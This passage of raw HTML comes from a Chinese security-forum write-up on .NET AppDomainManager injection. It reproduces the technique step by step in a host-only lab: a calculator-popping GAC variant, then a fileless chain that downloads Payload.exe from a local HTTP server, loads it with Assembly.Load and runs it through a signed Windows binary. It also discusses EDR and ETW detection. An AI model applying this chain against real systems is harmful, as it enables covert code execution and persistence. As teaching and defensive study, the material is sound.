class="code-snippet__string">&#34;Machine&#34;</span>)</span></code></pre></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno7621hjq" style="font-size: 15px;">4.4 运行效果</span></h2><p><span leaf="" mpa-font-style="motno762y7p" style="font-size: 15px;">点击运行 x64 的 RegAsm.exe，计算器顺利弹出。注意此时RegAsm.exe 都不在同一个文件夹，这说明通过利用 GAC ，AppDomainManager 注入无需依赖文件路径了，任意文件路径的.NET 程序运行时都会优先加载这个 dll。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.3787037037037037" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130903" src="https://wechat2rss.xlab.app/img-proxy/?k=7b2837ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3jvFkaPG447VibhdiaH62ibWXVcC9R1RicD0m4tZQjRkQ6GJqcJKvB6beYvk8hBX55pWyQ4659tLXT15M7X6zEzGhZUP5F3tpQicxs%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">五、</span><span leaf="">AppDomainManager 注入结合无文件的内存执行</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130920" src="https://wechat2rss.xlab.app/img-proxy/?k=c30574f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2SjxBXcrEgiaIXOqjCVMlpA3oF3U87ImGmFk32oTsujOGIarHkaIDI3Dib9J1bfF3MHQrJ1uLqgtv68EyMyrVkq30KsL2Z1WoNI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motno7621gnb" style="font-size: 15px;">在稍微复杂一点的攻击中，攻击者极其讨厌在磁盘上留下多余的文件（比如 .config 和 dll 文件太显眼了），这容易被安全软件发现。AppDomainManager 注入结合无文件的内存执行要隐蔽得多，最终的恶意载荷可以在内存中执行，常见的攻击步骤大致如下：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="motno7621mre" style="font-size: 15px;">网络拉取：通过 HTTP 请求将远程服务器上的可执行文件（.exe 或 .dll）作为纯字节流（Byte Array）下载到内存中。</span></p></li><li><p><span leaf="" mpa-font-style="motno76265v" style="font-size: 15px;">反射加载：利用 .NET 的反射（Reflection）机制，直接将内存中的字节流解析并加载为当前进程中的一个程序集（Assembly）。</span></p></li><li><p><span leaf="" mpa-font-style="motno7621lbs" style="font-size: 15px;">动态调用：找到该程序集的入口点（通常是 Main 函数），并直接在当前进程的内存空间中执行它。</span></p></li></ul><p><span leaf="" mpa-font-style="motno7624gv" style="font-size: 15px;">接下来就逐步复现一下这个“AppDomainManager 注入 + 无文件的内存执行”</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno76211ll" style="font-size: 15px;">5.1 网络设置</span></h2><p><span leaf="" mpa-font-style="motno7621gp9" style="font-size: 15px;">查看一下主机虚拟网卡VMnet1 的 IP 地址为 192.168.148.1，将虚拟机的网络适配器设置为“仅主机”（Host-Only），关闭物理机的网络防火墙，发现虚拟机可以 ping 通物理机了，就可以继续接下来的试验了 。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.44964539007092197" data-type="webp" data-w="705" style="max-width: 100%;" data-imgfileid="311130901" src="https://wechat2rss.xlab.app/img-proxy/?k=d2b7bae6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K02NFxlmEPNbKZOCEgur41WxPeicorU8CZueAdeTbibicABeLXkMjIclVxpMsKFibF09kaWJB8iaE2ZJazP3MdF33ouzugxlx4FgWsY%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762t7t" style="font-size: 15px;">5.2 准备 Payload.exe</span></h2><p><span leaf="" mpa-font-style="motno762cb6" style="font-size: 15px;">创建一个文本文件 Payload.cs，写入以下代码，编译生成成Payload.exe：</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.20925925925925926" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130902" src="https://wechat2rss.xlab.app/img-proxy/?k=a1a3c984&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0QTkiaXtek5qzgUKdUuwC4RTwktFP3Zk9HoficHmviaViagKIJy3SQ1FWUNibqXAD94ibUQt1l5cbIeibx8MQjjl0MJz4WV42uNpJSS8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762p78" style="font-size: 15px;">5.3 开启物理机 80 端口</span></h2><p><span leaf="" mpa-font-style="motno7628ay" style="font-size: 15px;">在物理机Payload.exe 所在文件夹内打开命令行（CMD/PowerShell），执行命令python -m http.server 80，启动 Python 简易服务器。</span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.1697530864197531" data-type="webp" data-w="648" style="max-width: 100%;" data-imgfileid="311130905" src="https://wechat2rss.xlab.app/img-proxy/?k=6184dc3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0giasXCicmMlfxcJssV5W4nScNp6eUCXjibbwS36v5VfETG6le0WDTYsH0vVACplprabV0sDLtIOVibiabI900Aq2dccJU4Iyhclac%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621s12" style="font-size: 15px;">在虚拟机浏览器的地址栏中输入192.168.148.1/Payload.exe，能下载Payload.exe，说明这个简易的服务器能下载成功。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.2814814814814815" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130909" src="https://wechat2rss.xlab.app/img-proxy/?k=ae7ad7af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0OKV06RqnIgVD0MUEJ648fTo3MWyKbkt34GOq6lDWlXpia8NU7icOdvdRLCJmqwFDY9nqUhX2swxq2a3fxgic22wAObMqVrl2Vs4%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762216o" style="font-size: 15px;">5.4 准备注入的 dll</span></h2><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="1.236988847583643" data-type="webp" data-w="1076" style="max-width: 100%;" data-imgfileid="311130908" src="https://wechat2rss.xlab.app/img-proxy/?k=be66e5b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1Y10ziaia2kiaua1E3mbhm6licibXJc7pH10dR86pDD9K7Z4VQhkkRmFxbeJvjLt0ErU7yda2WcAxSwFBgAw0I60UwiaVeXLIFch66g%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762nu8" style="font-size: 15px;">5.4.1 .NET 反射（Reflection）机制</span></h3><p><span leaf="" mpa-font-style="motno7621q68" style="font-size: 15px;">反射是.NET中的一项技术，允许程序在运行时动态地访问和操作程序集、类型和对象的信息。通过反射，能够在编译时进行动态加载程序集、创建对象实例、调用对象方法、访问属性和字段等操作。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno7621ujk" style="font-size: 15px;">5.4.2 DownloadData()</span></h3><p><span leaf="" mpa-font-style="motno7621epz" style="font-size: 15px;">这个函数与 DownloadFile 不同。DownloadFile 会强制要求提供一个本地磁盘路径，而 DownloadData 会将远程文件下载并直接返回为一个 字节数组（byte[]）。下载的恶意程序 Payload.exe 只是内存中的一串二进制 01 码，没有触发“创建文件”的行为，这样也可以直接在内存中通过Assembly.Load加载。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762frd" style="font-size: 15px;">5.4.3 Load()</span></h3><p><span leaf="" mpa-font-style="motno762cj1" style="font-size: 15px;">通常情况下，程序加载 DLL 或 EXE 是通过磁盘路径（如 LoadLibrary(&#34;C:\test.dll&#34;)）。Assembly.Load 允许 CLR（公共语言运行时）把DownloadData 下载到内存中的字节数组byte[] 解析为一个可执行的 .NET Assembly 对象，挂载到当前的应用程序域中。</span></p><p><span leaf="" mpa-font-style="motno7621n8c" style="font-size: 15px;">（Assembly.Load(byte[]) 虽然不产生文件，但会在 ETW（Windows 事件跟踪）中留下痕迹。现在的 EDR 已经可以通过监控 CLR 内部事件，例如 ETW 事件中的 AssemblyLoad，来捕捉到这种内存加载行为）。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762246q" style="font-size: 15px;">5.4.4 执行</span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="motno7621e3p" style="font-size: 15px;">EntryPoint：自动在内存中寻找该Assembly （程序集）的 Main 或 WinMain 函数入口。</span></p></li><li><p><span leaf="" mpa-font-style="motno7621ii7" style="font-size: 15px;">Invoke：正式下令 CPU 开始执行这段内存中的代码。</span></p></li></ul><p><span leaf="" mpa-font-style="motno762210t" style="font-size: 15px;">这两个函数意味着，不需要手动去寻找复杂的内存偏移地址，.NET 反射机制完成了所有定位工作，使得攻击载荷（Payload）的执行非常稳定。</span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span leaf="" mpa-font-style="motno762xxf" style="font-size: 15px;">5.5 注入实现</span></h2><p><span leaf="" mpa-font-style="motno7621odt" style="font-size: 15px;">将 InjectObj.dll 拷贝到虚拟机，例如 C:\Demo\ 文件夹，在虚拟机设置环境变量</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.19074074074074074" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130907" src="https://wechat2rss.xlab.app/img-proxy/?k=a706156c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2gjf2uLAKMfGKr33UNJNzZGp2CxRjNh8FD8tOPB6WapakU30vFwkvwftPmCEd91wTcYtBoW1uLNakibzu4HAl76rSgMuthrhibo%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762uqc" style="font-size: 15px;">还是点击AppVStreamingUX.exe，Payload.exe 成功执行：</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.4687199230028874" data-type="webp" data-w="1039" style="max-width: 100%;" data-imgfileid="311130906" src="https://wechat2rss.xlab.app/img-proxy/?k=567e6f3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0g4ckKcJK32jG4q8UcqHrQibBGx7dP6BiboibYSFice15ZslGeD9JmWVhxSHBCJapSzY61dEOuunMpFCicYmXbiagsib6vRu44NvWySw%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno762v5y" style="font-size: 15px;">WireShark 可以看到点击AppVStreamingUX.exe 后，与地址 192.168.18.1 产生的链接和下载文件Payload.exe 的数据包。</span><span leaf=""><br/></span><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="0.33055555555555555" data-type="webp" data-w="1080" style="max-width: 100%;" data-imgfileid="311130910" src="https://wechat2rss.xlab.app/img-proxy/?k=f8ce775a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K3mUibo1hiaUwS58LD6ygiamXF5pD3jCXdEOfibeujgW59ibIYIPS2YiaFTSX0PZfYFTiaibLANrBGfOAuBjImax7iaXj4Il1V7ibZh7pb7U%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="motno7621zif" style="font-size: 15px;">当然了，魔高一尺，道高一丈。现在包括 EDR 在内的安全软件对AppDomainManager 注入的各种操作也提高了警惕。</span></p><p><span leaf="" mpa-font-style="motno7628xe" style="font-size: 15px;">DEVPATH 方式需要修改机器范围的 .config 文件（machine.config）或者设置 developmentMode。在目前 Windows 安全策略下，修改这些全局配置通常需要高权限，容易被监控。APPDOMAIN_MANAGER_ASM 和 APPDOMAIN_MANAGER_TYPE 的设置，对 .exe.config 文件的异常写入（尤其是往系统自带的 dfsvc.exe 等白名单程序目录下写配置），AppVStreamingUX.exe 加载一个不在常规路径下的 DLL（如 C:\test\GlobalManager.dll），这都很有可能触发安全软件告警。</span></p><p><span leaf="" mpa-font-style="motno7621yaw" style="font-size: 15px;">该技术属于基于 CLR 合法扩展机制的执行劫持方法，在 .NET Framework 4.x 环境下具备较强隐蔽性，但其适用范围受运行时版本、加载上下文及安全策略限制，不能视为通用注入手段。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(231, 58, 48) rgb(231, 58, 48) rgb(247, 121, 73) rgb(247, 121, 73);vertical-align: bottom;align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">六、参考链接</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130921" src="https://wechat2rss.xlab.app/img-proxy/?k=547cbeb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2ckNl9n3m75EdAmyacZRcqBR1SqaWCyof6nrP9TJAGCkQraXLQiaYTUoYWk78HA7zpqxnicm8RUTvRYHRjibayzvguulrFk8BnVs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motocbqe176p" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;">Use AppDomainManager to maintain persistence</span></span></p><p><span leaf="" mpa-font-style="motocbqey8o" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence" target="_blank">https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence</a></span></span></p><p><span leaf="" mpa-font-style="motocbqem0y" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;">全局程序集缓存</span></span></p><p><span leaf="" mpa-font-style="motocbqewua" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://learn.microsoft.com/zh-cn/dotnet/framework/app-domains/gac" target="_blank">https://learn.microsoft.com/zh-cn/dotnet/framework/app-domains/gac</a></span></span></p><p><span leaf="" mpa-font-style="motocbqewjp" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;">360数字安全集团</span></span></p><p><span leaf="" mpa-font-style="motocbqe1ab2" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://360.net/about/news/article68b6585caf798600208d6410" target="_blank">https://360.net/about/news/article68b6585caf798600208d6410</a></span></span></p><p><span leaf="" mpa-font-style="motocbqe189y" style="font-size: 14px;"><span textstyle="" style="letter-spacing: normal;font-style: italic;">《.NET安全攻防指南（上册）》第二章 ，作者： 李寅、莫书棋，机械工业出版社</span></span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9906542056074766" data-s="300,640" data-type="jpeg" data-w="107" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K1OWmGBeMWkGDv92t6Ls5GWAa6k15MjJaNTkApgjdUS2UP1bBJaCXhgIWqn4b0kjaCD8Kr3XZoCooZALricuRMUwezbw1DWxmd8/0?wx_fmt=jpeg&amp;from=appmsg" data-cropx1="10.926829268292684" data-cropx2="117.07317073170732" data-cropy2="106.14634146341464" data-imgfileid="311130911" src="https://wechat2rss.xlab.app/img-proxy/?k=22541a84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3JOXs6krgXQ1808RgJgp51vNTdgKXRzmdiaE3ibPXStjZSS6OiaaG131CMbGShgyBcLQMPkGClAUL8JyI0mxiatbv975BJh1hhLfM%2F640%3Fwx_fmt%3Djpeg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">ZyOrca</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-944427.htm" target="_blank">https://bbs.kanxue.com/user-home-944427.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛精华文章，由 </span><span leaf="">ZyOrca</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458611117&amp;idx=1&amp;sn=f063788f8971edf449fd09571d515ba7&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span style="width:100%;" class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.509375" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="233" data-backw="578" data-backh="294" data-imgfileid="311130825" src="https://wechat2rss.xlab.app/img-proxy/?k=5cafe0fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a></p><p style="text-align: center;"><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">第十届安全开发者峰会【</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;margin-left: 0px;margin-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">议题征集</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">】-欢迎投稿</span></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div 